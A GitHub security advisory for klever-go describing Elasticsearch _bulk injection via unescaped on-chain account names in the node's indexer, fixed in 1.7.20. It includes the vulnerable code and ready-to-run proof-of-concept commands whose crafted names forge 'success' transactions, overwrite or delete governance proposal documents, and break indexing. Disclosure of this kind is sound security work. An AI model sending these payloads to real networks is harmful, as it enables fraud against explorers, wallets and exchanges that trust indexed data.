GitHub Advisoryadvisory · Go
GHSA-7c7c-373r-gfjj Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery
HIGH
Official page ↗
- Aliases
- CVE-2026-82409
- Ecosystem
- Go
- Packages
- github.com/klever-io/klever-go
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L
- Weaknesses
- CWE-116
- Reviewed
- 2026-09-23
Affected packages
• Go github.com/klever-io/klever-go: < 1.7.20 → fixed in 1.7.20
Description
Component: Elasticsearch indexer (`indexer/`)
Primary location: `indexer/common.go:2395-2407` (`serializedDataForUpdateAccounts`)
Entry point: `SetAccountName` native transaction (contract type 12) — `core/process/transaction/txProcess.go:688`
---
Description
When the node indexes account updates to Elasticsearch, it builds the ES `_bulk` painless-script line by splicing the account's name directly into JSON with `fmt.Sprintf("%s", ...)` and no escaping:
```go
// indexer/common.go:2395-2407 (serializedDataForUpdateAccounts)
serializedData := []byte(fmt.Sprintf(`{"script":{"source":"`+
`ctx._source.name = params.name; ... `+
`","lang": "painless","params":`+
`{"name": "%s", "nonce": %d, "rootHash": "%s", "balance": %d, ...}}}`,
acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...)) // acc.Name is RAW
```
`acc.Name` originates from on-chain account state: `indexer/accountInfo.go:31` sets `Name: string(userAccount.GetName())`. An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the `SetAccountName` handler:
```go
// core/kapp/accounts/accounts.go:1740
if !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... } // MaxNameSize = 100
```
The only constraints are valid UTF-8 and length ≤ 100 bytes. Double-quote (`"`), backslash (`\`), and newline (`\n`) are all valid UTF-8 and are not rejected. The safe helper `converters.JsonEscape()` exists and is used for `_id` fields elsewhere in the same file (`common.go:893`, `:932`, `:961`) but is not applied to the name.
The resulting buffer is POSTed verbatim to Elasticsearch `_bulk` by `elasticClient.DoBulkRequest` (`indexer/elasticClient.go:128`), with the index in the URL. The `_bulk` body is NDJSON — newline-delimited action/source pairs (`indexer/data/buffer.go:45` appends a `\n` after every entry). Therefore a name containing a quote and newlines can
• inject arbitrary keys/structure into the document,
• break the batch, and
• inject entirely new bulk operations targeting other documents and other indices.
`SetAccountName` is a first-class transaction contract type (`= 12`) dispatched natively at `txProcess.go:688` via `SetAccountName(tx.GetSender(), tc)`. The attacker names their own account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in `KleverSetAccountName`, but that path is not needed.)
The name is written into consensus account state (`userAccount.SetName`, `data/state/userAccount.go:76`) and replicated to all nodes. The indexer reads it from state, not from the transaction, during each node's own block processing (`core/process/block/block.go:1141` `SaveBlock` / `SaveAccounts`). Consequently:
• The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough.
• Indexers typically run on observer/gateway nodes that power the public explorer/API — exactly the realistic victim.
• The payload is durable and replayable: a newly stood-up indexer, or a historical re-index (import-DB mode, `cmd/node/startup.go:153`), re-reads the name from state and re-fires the injection.
Escalation — from denial-of-indexing to arbitrary ES document CRUD
Elasticsearch `_bulk` fails a malformed line differently by position: malformed action line → whole-batch HTTP 400 (nothing applies); malformed source line → per-item error (other items still apply). By appending a *sacrificial* action after the forged op, the serializer's fixed template tail (`", "nonce":...}}}`) lands in a source position (item-level error), so a clean forged op that precedes it is applied. This yields arbitrary create / overwrite / delete of documents in any index the indexer's ES credentials can write — cross-index via `{"index":{"_index":"...", "_id":"..."}}`.
Deployment amplifier (default ES config)
The Elasticsearch config klever ships (`docker/elasticsearch/elasticsearch.yml`, `docker/docker-compose.yml`) sets `xpack.security.enabled: false`, `network.host: 0.0.0.0`, publishes `9200:9200`, and CORS `*` with `POST,PUT,DELETE`. The node's default `config/node/external.yaml` connects with empty `username`/`password`. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, this injection is the remote bridge that reaches that private ES through the node's own trusted connection.
---
POC
The entire attack is a single `SetAccountName` transaction the attacker sends from any funded account, naming its own account with a crafted payload.
```
operator --node=http://:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}'
```
This submits contract type 12 (`SetAccountNameContract`) with:
```
Name = "}}}⏎{"index":{"_index":"transactions","_id":"t"}}⏎{"status":"success"}⏎{"index":{}}
```
(84 bytes ≤ MaxNameSize 100; `⏎` = literal `\n`. On-chain `Name` is `[]byte`, i.e.
base64 `In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319`.)
```
{ "update": { "_index":"accounts", "_id":"" } }
{"script":{ ... ,"params":{"name": ""}}}
{"index":{"_index":"transactions","_id":"t"}} ← forged bulk action
{"status":"success"} ← forged doc → written to `transactions`
{"index":{}}", "nonce":1, ... }}} ← sacrificial op absorbs the template tail
```
Observed result: a forged document `{"status":"success"}` with `_id:"t"` appears in the `transactions` index — the attacker never submitted any such transaction:
```
GET transactions/_doc/t
{ "found": true, "_source": { "status": "success" } }
```
Escalation variants — same delivery, only the `Name` changes
Each is a single `SetAccountName` tx sent the same way; only the payload differs.
Denial-of-indexing (2-byte name — breaks the batch, drops every co-batched account update):
```
operator --node=http://:8099 -k attacker.pem --sign account set-name 'x"'
```
Cross-index write / forge a document (e.g. a governance proposal doc; 82 bytes):
```
operator --node=http://:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}'
```
Delete a document (e.g. proposal id 5; 61 bytes):
```
operator --node=http://:8099 -k attacker.pem --sign account set-name \
$'"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}'
```
---
Impact
A single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch `_bulk` stream of every node that indexes the chain now or in the future. Two tiers of impact:
1. Denial-of-indexing A name containing a single `"` or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently dropped → the explorer/API serves stale data. Repeatable every block.
2. Arbitrary document CRUD across all indexer indices (escalation). Using the sacrificial-op construction, the attacker can create/overwrite/delete documents in any klever index the indexer writes (`transactions`, `blocks`, `accounts`, `proposals`, `assets`, `marketplaces`, ...): forge "successful" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forged `status:success` transaction).
Amplifiers: the paylo…
Related
Alias · CVE (1)
- CVE-2026-82409 Klever-Go is the Go implementation of the Klever blockchain protocol. vulnerability
Weakness · CWE (1)
- CWE-116 Improper Encoding or Escaping of Output weakness
References
- https://github.com/klever-io/klever-go/security/advisories/GHSA-7c7c-373r-gfjj web
- https://github.com/klever-io/klever-go/commit/f00366768b24be18fa7ae9de2e1905caa8b350af web
- https://github.com/klever-io/klever-go/commit/f54ea730cc80a3ba4f906586a7d221b281548190 web
- https://github.com/klever-io/klever-go package
- https://github.com/klever-io/klever-go/releases/tag/v1.7.20 web